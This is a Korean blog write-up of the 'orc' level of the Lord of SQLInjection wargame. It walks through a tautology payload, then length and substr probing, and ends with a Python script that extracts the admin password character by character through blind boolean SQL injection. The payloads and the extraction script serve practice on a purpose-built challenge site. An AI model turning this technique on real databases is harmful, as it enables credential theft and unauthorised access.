Bace
LOS - orc 본문
문제는 다음과 같다.
GET으로 pw를 받는데, pw 값과 GET으로 넘긴 pw 값이 일치해야 풀리는 것 같다.
일단 pw에 'or'1# 으로 보내보았다.
Hello admin이라고 뜬다.
pw값과 일치하는지 아닌지를 Hello admin 문자열을 통해 확인하는 것 같다.
하지만 풀리지 않는 것으로 보아 정확한 pw 값을 넣어주어야 풀리는 것 같다.
일단 pw 길이를 구하기 위해 ?pw=' or id='admin' and length(pw)=숫자# 을 보내보았다.
length(pw) 값에 8을 넣을때 Hello admin이 나온다.
pw 길이가 8인것 같다.
이제 pw 값을 첫번째 자리부터 알아내기 위해 ?pw=' or id='admin' and substr(pw,1,1)=숫자 or 영어 를 보내보았다.
1,1에 0을 넣었을 때 결과값으로 Hello admin이라고 뜬다.
첫번째 자리는 0인것 같다.
근데 8자리까지 손으로 다 구하기에는 힘드므로 코드를 짜서 해결하였다.
import requests
answer = ''
for i in range(1,9):
for j in range(33,128):
url = "https://los.rubiya.kr/chall/orc_60e5b360f95c1f9688e4f3a86c5dd494.php?pw=%27%20or%20id=%27admin%27%20and%20ascii(substr(pw,{},1))%20=%20{}%20--%20-".format(i,j)
cookies = {'PHPSESSID':'자신의 PHPSESSID'}
response = requests.get(url=url,cookies=cookies)
if response.text.find("Hello admin") != -1:
answer += chr(j)
print 'Found {}st letter'.format(i)
break
print '{}st letter {}th '.format(i,j)
print answer
코드를 돌리고 기다리면 pw값이 나온다.
solve
'LOS' 카테고리의 다른 글
LOS - darkelf (0) | 2020.01.17 |
---|---|
LOS - wolfman (0) | 2020.01.17 |
LOS - goblin (0) | 2020.01.10 |
LOS - cobolt (0) | 2020.01.10 |
LOS - gremlin (0) | 2020.01.10 |